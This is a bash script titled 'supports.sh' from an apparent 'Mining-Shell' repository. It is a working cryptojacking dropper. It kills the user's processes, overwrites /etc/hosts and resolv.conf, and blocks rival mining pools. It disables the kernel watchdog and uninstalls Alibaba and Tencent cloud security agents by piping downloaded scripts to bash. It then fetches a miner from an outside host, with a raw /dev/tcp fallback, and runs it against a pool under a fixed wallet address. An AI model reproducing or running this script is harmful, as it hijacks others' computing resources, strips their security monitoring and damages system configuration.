Mining-Shell/supports.sh
2022-10-09 11:21:48 +08:00

112 lines
4.3 KiB
Bash

#!/bin/bash
curl http://lumtest.com/myip.json
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
echo "${threadCount}";
initdir=$PWD
lscpu
if [[ $(whoami) != "root" ]]; then
for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
kill -9 $tr || : ;
done;
fi
sudo echo no > /etc/hosts
sudo echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' >> /etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf
sudo echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 35.225.36.167" >> /etc/hosts;echo "0.0.0.0 100.100.25.3 jsrv.aegis.aliyun.com" >> /etc/hosts
sudo echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo "0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> /etc/hosts
sudo echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" >> /etc/hosts
sudo echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts;
sudo echo "0.0.0.0 mine.c3pool.com" >> /etc/hosts
sudo echo "0.0.0.0 Pool.XCA.CryptoPool.Space" >> /etc/hosts
sudo echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts
sudo echo "0.0.0.0 xmr-asia1.nanopool.org" >> /etc/hosts
sudo echo "0.0.0.0 xmr-jp1.nanopool.org" >> /etc/hosts
echo thxforjobs
echo no > /etc/hosts
echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' >> /etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf
echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 35.225.36.167" >> /etc/hosts;echo "0.0.0.0 100.100.25.3 jsrv.aegis.aliyun.com" >> /etc/hosts
echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo "0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> /etc/hosts
echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" >> /etc/hosts
echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts;
echo "0.0.0.0 mine.c3pool.com" >> /etc/hosts
echo "0.0.0.0 Pool.XCA.CryptoPool.Space" >> /etc/hosts
echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts
echo "0.0.0.0 xmr-asia1.nanopool.org" >> /etc/hosts
echo "0.0.0.0 xmr-jp1.nanopool.org" >> /etc/hosts
sudo iptables -A INPUT -p tcp --tcp-flags RST RST -j DROP
sudo echo "nope" >/tmp/log_rot;
sudo sysctl kernel.nmi_watchdog=0
sudo echo '0' > /proc/sys/kernel/nmi_watchdog
sudo echo 'kernel.nmi_watchdog=0' >> /etc/sysctl.conf
iptables -A INPUT -p tcp --tcp-flags RST RST -j DROP
echo "nope" >/tmp/log_rot;
sysctl kernel.nmi_watchdog=0
echo '0' > /proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >> /etc/sysctl.conf
if ps aux | grep -i '[a]liyun'; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";
_curl () {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
rm -rf config.json;
d () {
curl -L --insecure --connect-timeout 5 --max-time 40 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 40 --tries 1 $1 -O $2 2> /dev/null || _curl $1 > $2;
}
test ! -s trace && \
d https://github.com/mintme-com/miner/releases/download/v2.8.0/webchain-miner-2.8.0-linux-amd64.tar.gz trace.tgz && \
tar -zxvf trace.tgz && \
mv webchain-miner trace && \
rm -rf trace.tgz;
test ! -x trace && chmod +x trace;
k() {
./trace \
-o $1 \
-u 0xbDdd3a19072d52c50973b0cbF7bDC7CC52A7B6bc \
-p x \
--worker-id=F003
}
k web-ko1.gonspool.com:3333